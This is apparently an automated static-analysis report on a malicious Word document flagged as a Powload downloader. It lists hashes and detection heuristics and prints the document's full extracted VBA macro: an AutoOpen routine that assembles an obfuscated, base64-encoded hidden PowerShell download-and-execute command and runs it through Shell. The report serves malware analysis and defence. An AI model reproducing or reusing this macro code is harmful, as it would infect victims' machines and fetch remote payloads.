Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71dabd0339fa6562…

MALICIOUS

Office (OLE)

106.8 KB Created: 2018-05-29 12:12:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 82b065a48e969eb0200449e104f0b8a6 SHA-1: 678dae65881def594b5c68d305d23194565d1753 SHA-256: 71dabd0339fa65620cf867e4cd921620242f26305673ec15658e7cabf1b127b1
270 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6981595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6981595-0
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    rhnIWkbQfPp = YprmzwLatt + Shell(MQEYbqLTjsP + Chr(vbKeyP) + ozTWd + bsOAHXHiCp, vbHide)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub Autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18018 bytes
SHA-256: 5a6916cb1da25279b31ea1ff5140abe9a561387bc55b564df0dcd75730618db2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iFjDzREEwwOsZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function inOYZpZbA()
On Error Resume Next
kSUvYz = Fix(17543 / CSng(4662) * AUHAkJ * idqLz)
VhBn = CDate(1534)
vjGOwM = Fix(55373 / CSng(18164) * DLJdI * vcjCPz)
VhBn = CDate(97451)
inOYZpZbA = ffBDsrAVN + HWcBzUvV + lYEXBd + IZFTdQQ + VXcwzOQdrO + Vvqnd + AMTWlN + VtCKplYV + Uvmibf + WuFsQjtU + VzjQrN + nnYHlM + HoaiiwCQfJn
TPhji = Fix(21695 / CSng(56777) * jkWZMS * MpFrOE)
VhBn = CDate(79945)
End Function
Sub Autoopen()
On Error Resume Next
ftAhOb = Fix(93385 / CSng(71366) * whmzPd * wcUiZG)
VhBn = CDate(66892)
FrStilC (inOYZpZbA)
ctXMK = Fix(16269 / CSng(68841) * doBpdd * GjzZd)
VhBn = CDate(58593)
End Sub
Function FrStilC(bsOAHXHiCp)
On Error Resume Next
jwMGsm = Fix(68274 / CSng(20353) * ZKjEV * jaoMk)
VhBn = CDate(17594)
rhnIWkbQfPp = YprmzwLatt + Shell(MQEYbqLTjsP + Chr(vbKeyP) + ozTWd + bsOAHXHiCp, vbHide)
OoVUN = Fix(27303 / CSng(91298) * jFnwJa * DPzNT)
VhBn = CDate(77227)
End Function


Attribute VB_Name = "iuYtCzYlQuW"
Function ffBDsrAVN()
On Error Resume Next
BTQBX = Fix(76746 / CSng(82320) * jaMiE * OfXkC)
VhBn = CDate(35646)
SWPqcpMK = "owersHe" + "LL -WinD" + "owsTyle" + " hidden -e IAA" + "oACgAIgB"
hIZWfV = Fix(99161 / CSng(66359) * rEkEtS * pzXPPn)
VhBn = CDate(3105)
SThfdGTlv = "7ADMANA" + "B9AHsAMQB" + "9AHsAMQAz" + "ADEAf" + "QB7ADk" + "ANAB9AH" + "sAMQAzADgAfQB7A" + "DEANwB9A" + "HsAMQA2" + "AH0AewAxADQAN"
pFmNL = Fix(37585 / CSng(96695) * RPULr * sSrjmj)
VhBn = CDate(14393)
PWjUoKB = "QB9AHsAMQA" + "xADUAfQB7ADEAMA" + "A1AH0A" + "ewAxADUAMQB9AHs"
zYvnik = Fix(60759 / CSng(6057) * tHThZj * XasiTo)
VhBn = CDate(48963)
PUFilJw = "AOQAyAH0AewAzAD" + "MAfQB7" + "ADcANwB9AHsAMQ" + "AxADAAfQB7ADEAN" + "AAzAH0AewAx" + "ADAAOAB9AHsAMQ" + "AyADgAfQB7ADMAM" + "QB9AHsAMQAxAH0" + "AewAxADIA" + "NgB9AHsANQ"
AJHEY = Fix(67025 / CSng(2862) * zrFNS * lNqOk)
VhBn = CDate(51385)
VQlYJUsGv = "A3AH0Ae" + "wAxADEAOQ" + "B9AHsANAA1AH0Ae" + "wAxADIAMQB9A" + "HsANgB9AHsAMQ" + "AxADMAfQB" + "7ADgANQB9AH" + "sAMQAwADQAfQB7A"
ffBDsrAVN = SWPqcpMK + SThfdGTlv + PWjUoKB + PUFilJw + VQlYJUsGv
End Function
Function HWcBzUvV()
On Error Resume Next
XwSjF = Fix(18380 / CSng(22002) * YfLzom * dafwr)
VhBn = CDate(79399)
izENaz = "DQAOQB9" + "AHsAM" + "QA1ADUAfQB7A" + "DIAMQB9"
pUWTz = Fix(80230 / CSng(60463) * EEwDdL * VSZqaZ)
VhBn = CDate(23324)
RhIzwkHKUS = "AHsAOAAyAH0A" + "ewAxADAAfQB" + "7ADEANQA" + "3AH0AewA4ADcA" + "fQB7ADg" + "ANAB9AHsANQA4AH"
NikMkP = Fix(68641 / CSng(76589) * OBIzMm * VLfaH)
VhBn = CDate(1389)
NtrDiQNd = "0AewA2AD" + "QAfQB" + "7ADEAMQA0AH0Aew" + "AxADQ" + "AOAB9AHsAMQA0A" + "DcAfQB7ADEAMQAx" + "AH0AewA2ADYA" + "fQB7ADEAMgA3AH0" + "AewA0ADIA" + "fQB7ADcA"
JNnEMX = Fix(3456 / CSng(27581) * daIoOd * dUQPob)
VhBn = CDate(6165)
HioTwtsmm = "OAB9AHsAMQAw" + "ADcAf" + "QB7ADcANg" + "B9AHsANwA"
JjPUPt = Fix(71991 / CSng(74540) * tbzwK * QhAFi)
VhBn = CDate(42929)
TCBjoKDhCO = "wAH0AewAxADUAMg" + "B9AHsAMwA5AH0Ae" + "wAyADkAfQB7AD" + "EAMAAwAH0Aew" + "AxADEAO" + "AB9AHsA" + "MQA1ADkAfQ" + "B7ADkAMAB9AHs" + "AMQAyAD"
zvsQC = Fix(11600 / CSng(82118) * whKuvj * hwCso)
VhBn = CDate(91584)
WWUDvK = "UAfQB7ADEAN" + "QAwAH0AewAzA" + "DYAfQ" + "B7ADEAM" + "AA2AH0AewAyAD"
niwSzz = Fix(66884 / CSng(77265) * YWFiT * zrfwcz)
VhBn = CDate(87237)
sQwoOaaI = "AAfQB7ADM" + "AfQB7AD" + "EAMQA2AH0Ae" + "wAxADMAMgB9AH" + "sAMQAzADYAfQ"
HWcBzUvV = izENaz + RhIzwkHKUS + NtrDiQNd + HioTwtsmm + TCBjoKDhCO + WWUDvK + sQwoOaaI
End Function
Function lYEXBd()
On Error Resume Next
CPqIzB = Fix(4657 / CSng(72955) * IDIOSj * qCHLl)
VhBn = CDate(47770)
nhsYF = "B7ADg" + "AMAB9AHsAN" + "QA2AH0Aew" + "AyADYAfQB7" + "ADkAMQB" + "9AHsAOAB9AH" + "sANgA4AH0AewAxA"
woFzLN = Fix(84864 / CSng(37529) * towDGr * mUmnwi)
VhBn = CDate(21922)
XiqdibvK = "DIAMg" + "B9AHsAMQAxADc" + "AfQB7ADEAMwAwAH" + "0AewA1A" + "DAAfQB7"
jHWFa = Fix(80646 / CSng(65673) * dYsUu * rYqpG)
VhBn = CDate(27637)
wcHtA = "ADYANQB" + "9AHsAMgAyAH0" + "AewA3AD" + "MAfQB7AD" + "YANwB9AHsANAA" + "3AH0AewA3ADkA" + "fQB7ADkANwB" + "9AHsANwAxAH"
WfBzS = Fix(40908 / CSng(82573) * kuTcsS * qmtHL)
VhBn = CDate(71454)
wVrWV = "0AewAyADgAfQB7A" + "DUAMQB9AH" + "sAOAA4AH0Ae" + "wAxADYAMAB9AH" + "sAMQAxADI" + "AfQB7ADE" + "ANgAzAH0AewA5"
fOWpk = Fix(55787 / CSng(26907) * HYzoKb * FHUrF)
VhBn = CDate(85274)
rzsrfnDC = "ADYAfQB7ADEAN" + "AA0AH0AewA4ADMA" + "fQB7ADEANgA" + "xAH0Ae" + "wA5AH0AewAyA" + "DMAfQB7ADMAOAB" + "9AHsAOQA" + "5AH0AewA" + "yAH0AewAxADYAMg"
YrBioi = Fix(5842 / CSng(91386) * CoDAnc * kNkmmu)
VhBn = CDate(61381)
udcrsu = "B9AHsANgAxA" + "H0AewAxAD" + "AAMgB9AHsAN" + "QA5AH0" + "AewAxAD" + "AAMwB9A" + "HsAMQA0ADYAf"
IbVhm = Fix(73729 / CSng(39513) * aApfnB * fuMZuz)
VhBn = CDate(13688)
jnsAuBbB = "QB7ADkAOAB9AHs" + "ANgAwAH0AewA3AH" + "0AewA3AD" + "UAfQB7ADQA" + "MAB9AHsAM" + "QAyAD" + "QAfQB7ADM"
hcdkdV = Fix(10478 / CSng(84580) * LzaMNV * MiIcA)
VhBn = CDate(96788)
lVBDKsv = "AMAB9AHsAMgA" + "0AH0AewAzA" + "DcAfQ" + "B7ADUAN" + "QB9AHsANwA0A" + "H0AewAxADMA" + "NwB9AHsAOQAzAH0" + "AewA1ADIAfQ"
lYEXBd = nhsYF + XiqdibvK + wcHtA + wVrWV + rzsrfnDC + udcrsu + jnsAuBbB + lVBDKsv
End Function
Function IZFTdQQ()
On Error Resume Next
qiYFra = Fix(40772 / CSng(72120) * BAnEJ * rKVIK)
VhBn = CDate(39029)
cwWitDHrwiM = "B7ADE" + "AMwAzAH0AewAxA" + "DkAfQB7ADEAMgA" + "5AH0Aew" + "AzADU" + "AfQB7AD" + "EANAAyAH0AewA1"
bcRZCM = Fix(23751 / CSng(83111) * aifmBE * NRJZt)
VhBn = CDate(48629)
BWZcYj = "ADQAfQB7AD" + "EANQA0AH0" + "AewA4ADEAfQB7A" + "DEAMAA5A"
ZQAKq = Fix(96247 / CSng(15221) * ncAHwn * XIZNX)
VhBn = CDate(49032)
MBaUO = "H0AewAx" + "ADMAOQB9AHsA" + "MQAyADMA" + "fQB7AD"
YWAmu = Fix(14535 / CSng(82972) * uwCPs * CBVtW)
VhBn = CDate(67542)
EXhjYPnH = "EANAAxAH0" + "AewAyADU" + "AfQB7ADgAOQB" + "9AHsANAAxAH0A" + "ewA5ADUAfQB7A" + "DEANQB9AHsANAB" + "9AHsAM" + "QA0AH0AewAxAD"
CluHcu = Fix(88112 / CSng(988) * jCmUr * KDDAAl)
VhBn = CDate(66017)
zqwXj = "MANAB9AH" + "sAMgA3AH0Aew" + "A0ADQAfQB7" + "ADEANAAwAH0Aew"
FjuKU = Fix(12821 / CSng(6947) * AqJVk * fRMzB)
VhBn = CDate(87859)
rAwwwdrJhSj = "A0ADMAfQB7AD" + "QAOAB9AHsAMQ" + "A1ADgAfQB7AD" + "EANAA5AH0Aew"
zcXQY = Fix(84434 / CSng(33975) * ViKUho * hkYtzM)
VhBn = CDate(2600)
FHioicG = "AxADUANgB9AHs" + "AMQAw" + "ADEAf" + "QB7ADYAMw" + "B9AHsANAA2AH" + "0AewA4A" + "DYAfQ" + "B7ADYA" + "OQB9AHsAMQ" + "AyADAAfQB7ADEAM"
IZFTdQQ = cwWitDHrwiM + BWZcYj + MBaUO + EXhjYPnH + zqwXj + rAwwwdrJhSj + FHioicG
End Function
Function VXcwzOQdrO()
On Error Resume Next
LVtDYl = Fix(76372 / CSng(6126) * opFDWt * OliiHz)
VhBn = CDate(2565)
GZiGhGFo = "wA1AH0AewA" + "xADMAfQB7ADEAO" + "AB9AHsAMQA1A" + "DMAfQ" + "B7ADcAMgB9AHs" + "ANQAzAH0AewAx" + "ADIAfQB7" + "ADYAMgB9" + "AHsAMwAyAH0"
REjbY = Fix(14524 / CSng(93402) * wjMui * tDifaj)
VhBn = CDate(84189)
jkptvbznFfa = "AewAwAH0AewA1AH" + "0AIgAgAC0AZgAnA" + "HQAYwBoAHsAfQA" + "nACwAJ" + "wB3AG4AcwAnAC" + "wAJwBvAFEAQABrA"
XLrcfL = Fix(65770 / CSng(43082) * LUqlUC * icsmH)
VhBn = CDate(45202)
ctDbUHQii = "CcALAA" + "nAHMAJwAsA" + "CcAcwBEACg" + "AawAnACwAJ" + "wB9ACcAL" + "AAnAHQA"
wRasa = Fix(93780 / CSng(54488) * VLihY * vclUcr)
VhBn = CDate(1966)
XvAfj = "JwAsACcAUQAgAC" + "sAIABrACcALAA" + "nAHoAeQ" + "AnACwAJwBRA"
oCYBWA = Fix(95588 / CSng(76832) * czBtL * SHZMm)
VhBn = CDate(98462)
Siakw = "C4AUwA" + "nACwAJwA9ACc" + "ALAAnAG8AJwAsAC" + "cAKQA7AGIA"
DmdbiA = Fix(12845 / CSng(32991) * fIXdXU * abbhF)
VhBn = CDate(12073)
isjDj = "JwAsACc" + "AdABlAG" + "0AawBvAFEA" + "KQAoAGsA" + "JwAsACcASQB3A" + "GEAcwAnAC" + "wAJwBkA" + "EYASQ" + "BBAEcATA"
XqkXTN = Fix(4697 / CSng(59811) * bIzlY * RzhozT)
VhBn = CDate(84774)
CNwDdC = "BsAGUAeAAnACwA" + "JwBrAG8AUQAnA" + "CwAJwBrAG8A" + "UQBuACcA" + "LAAnA" + "EkAdwAnACwAJ" + "wBmAGMAIAAnA"
hhwiz = Fix(70862 / CSng(22362) * ZwFFl * cnDcAu)
VhBn = CDate(93795)
pDDmZzUDvL = "CwAJwBuAGQAcwB" + "0AHIAYQAnACwAJ" + "wBuAHQAO" + "wBrAEkAdw"
YiAjJ = Fix(56901 / CSng(157) * JOfVC * ViDuCJ)
VhBn = CDate(68044)
ihUMwqU = "AnACwAJwAvA" + "C8AcwBsAHkAdA" + "AnACwAJwBw" + "AGwAJwAsACcA" + "awBvAC" + "cALAAnAEEARwB" + "MACcALAAnAC" + "8AQABo" + "AHQAdABwAD" + "oALwAnACw"
VXcwzOQdrO = GZiGhGFo + jkptvbznFfa + ctDbUHQii + XvAfj + Siakw + isjDj + CNwDdC + pDDmZzUDvL + ihUMwqU
End Function
Function Vvqnd()
On Error Resume Next
jSJTV = Fix(87966 / CSng(70543) * SzYNJ * hSbiR)
VhBn = CDate(16094)
QclwGjjQ = "AJwBzAEQAVAB" + "vAFMAJ" + "wAsACcAOg" + "AnACwAJwBuACcA" + "LAAnACAAK"
qaPvlS = Fix(48464 / CSng(48394) * snkVB * XpIGjo)
VhBn = CDate(91275)
AoRHuk = "ABrAG8AUQAuA" + "GUAeAAnAC" + "wAJwBlAGsAb" + "wBRACsAaw" + "AnACwAJwB"
wphFwk = Fix(36811 / CSng(39336) * bOpstY * bLvMEl)
VhBn = CDate(55403)
RGLUnUINz = "jAGEAJwAsACc" + "AbwBR" + "ACkAIAB" + "yAGEAbgBkAG" + "8AbQAnACwAJwB" + "rAEkAJwAsACcA" + "bgAnACwAJwAvAH" + "UAJwAsACcAUQA"
NzvlZL = Fix(53574 / CSng(99228) * rSGEMc * nXvJGM)
VhBn = CDate(81667)
oUuVjV = "rACcA" + "LAAnAGkAdA" + "AoACcALAAnAHQ" + "AdABwAD" + "oALwAvAH" + "UAcAB0AG8A" + "JwAsACcAUwBCAC" + "cALAAnAG4" + "AJwAsACcAQQAn" + "ACwAJwBpAEEAJw"
RYfVsj = Fix(56665 / CSng(22743) * trzoh * jzPuAa)
VhBn = CDate(34801)
wnzIAhdjs = "AsACcA" + "dAByA" + "EEAJwAsACcAUQ" + "AtAG8" + "AYgAnACwAJw" + "BJACcALAAnAG0A" + "LwAwAEY"
OjGYjp = Fix(36423 / CSng(63855) * ISTBj * GMOGu)
VhBn = CDate(21455)
fJKQRJmbWRN = "AegBKAEIAJwA" + "sACcAR" + "wBMAE4AZwB" + "4AHMARAAoAC" + "kALAA" + "gAGsAJw" + "AsACcAbQ" + "AuAE4AZQB0" + "AC4AVwBlACcALAA"
Vvqnd = QclwGjjQ + AoRHuk + RGLUnUINz + oUuVjV + wnzIAhdjs + fJKQRJmbWRN
End Function
Function AMTWlN()
On Error Resume Next
izFdP = Fix(20605 / CSng(83646) * qCztQ * lKwWtM)
VhBn = CDate(81263)
VSOLmmidGDv = "nAC8AJwAsACcA" + "LwAvACcALA" + "AnAGYAbwByA" + "CcALAAnAEMAJwA" + "sACcAQQBEAEMAW"
WOtzsI = Fix(65170 / CSng(72282) * YTtEH * DZIpj)
VhBn = CDate(35567)
kEPLlV = "AApAHsAd" + "AByAHkAJwAsACc" + "AawBvAFEAJwAs" + "ACcAMg" + "A4ACc" + "ALAAnAHcAawB"
UHPUV = Fix(3143 / CSng(34565) * Awfqdr * PSjkEi)
VhBn = CDate(52765)
kHnNGzid = "vAFEAKwBr" + "ACcALAAnAGEAZ" + "AAnACwAJwBJAHc" + "AZQBuAHYAOgBwAC" + "cALAAnAGsAbwAnA"
Xhirsw = Fix(71318 / CSng(43311) * WGumk * njTjX)
VhBn = CDate(40086)
orBFWAwsK = "CwAJwA7AGsASQA" + "nACwAJwByA" + "GUAYQBrAD" + "sAfQAnAC" + "wAJwBrAG8AU" + "QAnACwAJwBh" + "AHMAJwAsA"
NdcTJ = Fix(80469 / CSng(12489) * Nhshrn * KZnPcY)
VhBn = CDate(39095)
EJmhwDYzk = "CcAQABoA" + "HQAdABwAD" + "oAJwAs" + "ACcALAAgADI" + "AOAAyADEA"
wzfuw = Fix(7767 / CSng(71513) * EFJUAP * nvQHI)
VhBn = CDate(48250)
DzYYjcaVq = "MwAzACk" + "AOwAnACwAJwBvAC" + "cALAAnA" + "GsAJwAsACc" + "AbwBRACsAJwAs" + "ACcACgAnA" + "CwAJwBoAHQAdA" + "BwACcALAA" + "nAEQAJwAsACcAZ"
AMTWlN = VSOLmmidGDv + kEPLlV + kHnNGzid + orBFWAwsK + EJmhwDYzk + DzYYjcaVq
End Function
Function VtCKplYV()
On Error Resume Next
EskwV = Fix(89419 / CSng(93264) * sqtGf * duKuc)
VhBn = CDate(67134)
iEUQjZBd = "QBjAC4AYwAnACw" + "AJwBl" + "AGsAJwAsACcAS" + "QB3AE4A" + "JwAsACcAUQANACc" + "ALAAnADsAJwAsAC"
ciSpvA = Fix(99964 / CSng(39279) * QLzvs * KziqCw)
VhBn = CDate(24514)
XBXbYMijvsd = "cARABDACcAL" + "AAnAC8A" + "JwAsACcAVgBsAC" + "cALAAnAEkAdwAn" + "ACwAJwBO" + "AFMAQgAgACc" + "ALAAnAFYAUw" + "AyAC8Aa" + "wAnACwAJwBzAC" + "cALAAnAG8AUQAp"
aujCJ = Fix(634 / CSng(10656) * fqNcJ * Hauwn)
VhBn = CDate(61650)
nNnYOWcLf = "ACAAUw" + "B5AHMAdA" + "AnACwA" + "JwBuA" + "HYAbwBr" + "AG8AUQArAG" + "sAbwBRAGsAaw" + "AnACwAJwB3AG4" + "AJwAsACcAc"
hJkdq = Fix(70025 / CSng(21784) * ljrPO * vLzqUG)
VhBn = CDate(5890)
QvAUN = "wBtAHAAYQBk" + "ACcALAA" + "nAFcAJwAsACcA" + "QABoAH" + "QAdABwACcAL" + "AAnAC8Ab"
HhPdsr = Fix(14305 / CSng(93054) * Jjttl * YTPuAu)
VhBn = CDate(17970)
fJSJAJlhXfE = "QB1ACc" + "ALAAnAFEAdA" + "BrACcA" + "LAAnA" + "FEAKQA7ACc" + "ALAAnACAAJgA" + "nACwAJ"
NvZMO = Fix(93417 / CSng(11646) * ZWBBC * MrTFp)
VhBn = CDate(52468)
tMNFjbWLWG = "wBsAEEARwBM" + "AE8AYQAnACwA" + "JwBIACcALAAnAE" + "AAJwA" + "sACcATgBnA" + "CcALAAn"
VtCKplYV = iEUQjZBd + XBXbYMijvsd + nNnYOWcLf + QvAUN + fJSJAJlhXfE + tMNFjbWLWG
End Function
Function Uvmibf()
On Error Resume Next
iUwKMZ = Fix(44415 / CSng(8050) * CmwMC * Tfszzq)
VhBn = CDate(14375)
ivdXEkuozLC = "AGsAJwAs" + "ACcAZABlAHMAa" + "QBnAG4AYgB1" + "AGkAbABkAC4AY" + "wBvAG0ALwB" + "KAHYAJwAsAC"
rjwKH = Fix(47059 / CSng(51166) * Eimiaa * CXiOM)
VhBn = CDate(38407)
oGHtv = "cAKAAnACwAJ" + "wB3AFM" + "ARABDACAAPQ" + "AgAGsAJw" + "AsACcAdQAnAC" + "wAJwBlAC" + "cALAAnAC"
DpMdX = Fix(77109 / CSng(24926) * bsbwGa * OQfmI)
VhBn = CDate(64221)
LBfOzwvzEA = "sAawB" + "vAFEAdwAnACw" + "AJwBoAGwA" + "YQAnACwAJwBY" + "ACAAPQAgAGsAbw" + "AnACw" + "AJwBZAF"
aXIsd = Fix(80820 / CSng(54611) * buCcj * wdAmh)
VhBn = CDate(28864)
Qkhfrb = "UAJwAsACcAW" + "QBZAFUA" + "JwAsA" + "CcAawAnACw" + "AJwAwAD" + "AAMAAnAC" + "wAJwBv"
Uvmibf = ivdXEkuozLC + oGHtv + LBfOzwvzEA + Qkhfrb
End Function
Function WuFsQjtU()
On Error Resume Next
uDcTb = Fix(74289 / CSng(16495) * jaLhn * oViKW)
VhBn = CDate(25431)
irjbsplv = "AG0ALwAnACwAJwB" + "rACcALAAnAGQ" + "ALgBuAGUAJ" + "wAsACcA"
Rjviu = Fix(16575 / CSng(31916) * fzaSJj * jZCDT)
VhBn = CDate(95482)
CzrnYW = "bwBRAC" + "cALAA" + "nAHMAJwAsA" + "CcAaQAuAH" + "AAbAAnACwAJw" + "B3ADA" + "AJwAsACcAb" + "wAnACwAJ" + "wBrAG8AUQAn"
UrutsJ = Fix(15170 / CSng(41703) * KBvcXj * jirjEb)
VhBn = CDate(71932)
wzQRw = "ACwAJwBqAGUAYwA" + "nACwAJw" + "BvAG0AYQBu" + "ACcALAA" + "nAHMARAAnA" + "CwAJwAgACsAJ" + "wAsACc"
diVpF = Fix(16273 / CSng(37574) * NZLEjB * HiJXP)
VhBn = CDate(31931)
EbbwjCI = "AOgAnACwAJw" + "BRACcALAAn" + "AGsASQB" + "3ACcALAAnACAAPQ" + "AgAC4" + "AKABrAG8AUQBuAC" + "cALAAnA" + "GkAJwAsACcAL" + "wBsAGU"
DwzjV = Fix(48817 / CSng(53545) * otFfP * oSPTr)
VhBn = CDate(16131)
ppFfiW = "AbgBxAHgAJwAs" + "ACcAY" + "QBkAGEAcwBk" + "ACAAPQA" + "nACwAJwBl" + "AC4AJwAsACcA" + "ZQBhAGMAa"
DLcGfN = Fix(70936 / CSng(2372) * DVwOfY * WnuRwk)
VhBn = CDate(36003)
YvVwzsPdhb = "AAoAG" + "sASQB" + "3AGEAcwAnA" + "CwAJwBmA" + "GMALgB4ACcALAA" + "nAGUALQBJAC" + "cALAAnAGQAZQAvA" + "DYANwAnA" + "CwAJwBv"
ElHSMt = Fix(7987 / CSng(46629) * hzlWd * LqQtpj)
VhBn = CDate(61867)
sVqRX = "ACcALAAnAC" + "gAJwAsACcA" + "LgB4ACc" + "ALAAnAEc" + "ATAAnACwAJwB" + "EAG8AJwAsACcA"
WuFsQjtU = irjbsplv + CzrnYW + wzQRw + EbbwjCI + ppFfiW + YvVwzsPdhb + sVqRX
End Function
Function VzjQrN()
On Error Resume Next
iPctj = Fix(94526 / CSng(82361) * SsiBuG * oBzzq)
VhBn = CDate(63368)
StdtvYT = "IABrA" + "EkAdwAnACw" + "AJwBJA" + "HcAWQAnACwA" + "JwBPAEkAJw" + "AsACcAKwB" + "rAG8AUQBlAG"
nTszia = Fix(61063 / CSng(83860) * OYjdCj * XbRvjs)
VhBn = CDate(84786)
EQYbvNdkz = "sAJwAsA" + "CcAYgBs" + "AGkAYwAgACsAI" + "ABrAG8AUQBpAC" + "cALAAnAC" + "gAMQAwACcALAAnA" + "HgAdA" + "AnACwAJwBDACcA"
uFYbsq = Fix(73479 / CSng(79674) * wcIBi * QFbPP)
VhBn = CDate(56481)
wchupf = "LAAnA" + "C8AJwA" + "sACcALQB" + "vAGIAagBlAGMAa" + "wBvAFEAKw" + "BrAG8AJ" + "wAsAC" + "cAaAAnAC"
dPFBb = Fix(43302 / CSng(48756) * wvbQDc * Ezmci)
VhBn = CDate(28707)
URMOio = "wAJwBTA" + "CcALA" + "AnAHsAawAn" + "ACwAJwBiAEMAbAB" + "pAGUAJwAsACc" + "AKQA7ACYAJ" + "wAsACcAIA" + "BrAEkAJwAsACcAS"
aazpMB = Fix(81413 / CSng(10455) * cwjcJW * PPQjzj)
VhBn = CDate(64199)
BHotGFZ = "QB3AFMAR" + "AAnACwAJwB" + "aAFgALwAnACwAJw" + "B2AGE" + "AbgBj" + "AGUAL" + "gBjACcALAAnAG8" + "AJwAsA" + "CcAbwBRACkAJwAs"
fmOBbd = Fix(75349 / CSng(89545) * woiDlK * utSzR)
VhBn = CDate(36818)
kAbOcFuB = "ACcAZgAnAC" + "kAKQAuAHIARQBw" + "AGwAYQB" + "jAEUAKAAoAF" + "sAYwBI"
siIXMS = Fix(60016 / CSng(59915) * tMKZmp * zpEniV)
VhBn = CDate(83531)
oEsTjzLMN = "AEEAUgB" + "dADEA" + "MAA3ACsA" + "WwBjAEgAQ" + "QBSAF0ANwA"
dFrpGO = Fix(65906 / CSng(38137) * mVSSG * bQTulr)
VhBn = CDate(51821)
cihZFVcU = "zACsAWwBj" + "AEgAQQBSAF0AMQA" + "xADkAKQAsA" + "FsAUwB0" + "AHIAaQBuAGc" + "AXQBb" + "AGMASAB"
lFPTJN = Fix(60055 / CSng(41541) * qWtHa * ZjLswn)
VhBn = CDate(32491)
AKsDk = "BAFIAXQAzADYAKQ" + "AuAHIARQBw" + "AGwAY" + "QBjAEUAKAA" + "oAFsAYwBIAEEAU" + "gBdADYANQArAF" + "sAYwBIAEEAUgB" + "dADcAMQArAFsAY"
VzjQrN = StdtvYT + EQYbvNdkz + wchupf + URMOio + BHotGFZ + kAbOcFuB + oEsTjzLMN + cihZFVcU + AKsDk
End Function
Function nnYHlM()
On Error Resume Next
KtOcX = Fix(21276 / CSng(51821) * uCUGj * uYGjQw)
VhBn = CDate(53555)
FOvHEsYw = "wBIAEEAUg" + "BdADcANgApACwA" + "WwBTA" + "HQAcgBpAG4AZwBd" + "AFsAYwBIAEEAUg" + "BdADk" + "ANgApAC" + "4AcgBF" + "AHAAbABhAGMARQ" + "AoACgAWwBjAEgAQ"
MSBauN = Fix(50313 / CSng(98023) * zUjFau * IKwkbq)
VhBn = CDate(74405)
pjkjCiEsJ = "QBSAF0AMQ" + "AyADAAKwBbAGM" + "ASABBAFIAXQAx" + "ADEANQ" + "ArAFsAYwBIAEE" + "AUgBdADYAO" + "AApACwAWwBT" + "AHQAcgBp"
Gilmm = Fix(34154 / CSng(42831) * uOjvb * QNjvaX)
VhBn = CDate(73129)
EalTUrVi = "AG4AZ" + "wBdAF" + "sAYwB" + "IAEEAUgBdADMAN" + "AApAC4A" + "cgBFAHAAb" + "ABhAGMARQAoACgA" + "WwBjAEgAQQBSA" + "F0AMQA"
kUdVY = Fix(12316 / CSng(4108) * UWjjUL * nMKbCo)
VhBn = CDate(82579)
WGlCwHltXpb = "wADcAKwBb" + "AGMASA" + "BBAFIAXQAx" + "ADEAMQArAFsA" + "YwBIAE" + "EAUgBdADgA" + "MQApACwAWwBT" + "AHQAcgBpAG4A"
nnYHlM = FOvHEsYw + pjkjCiEsJ + EalTUrVi + WGlCwHltXpb
End Function
Function HoaiiwCQfJn()
On Error Resume Next
zJLtjE = Fix(60703 / CSng(31410) * iGzRJ * tPQDt)
VhBn = CDate(19632)
DGJQCIhN = "ZwBdAFsAY" + "wBIAE" + "EAUgBdAD" + "MAOQApAC4A" + "cgBFAHAAbA" + "BhAGMAR" + "QAoACcAaQBOAG" + "cAJwAsAFsAU"
ucFks = Fix(67645 / CSng(30266) * jLtaiL * MSmpF)
VhBn = CDate(32600)
HkXzYkcb = "wB0AHIAa" + "QBuAGcA" + "XQBbAGMA" + "SABBAFIAXQ" + "A5ADIAKQB8ACY" + "AIAAoACAAJABw" + "AFMAaABPAG0"
NNKivR = Fix(21645 / CSng(72957) * zjjPjn * MwATwu)
VhBn = CDate(7686)
JnfaPSMStUd = "ARQBbADQAXQArA" + "CQAcABTAEgA" + "bwBtAGUAWwAzA" + "DAAXQArACcAWA" + "AnACkA"
HoaiiwCQfJn = DGJQCIhN + HkXzYkcb + JnfaPSMStUd
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.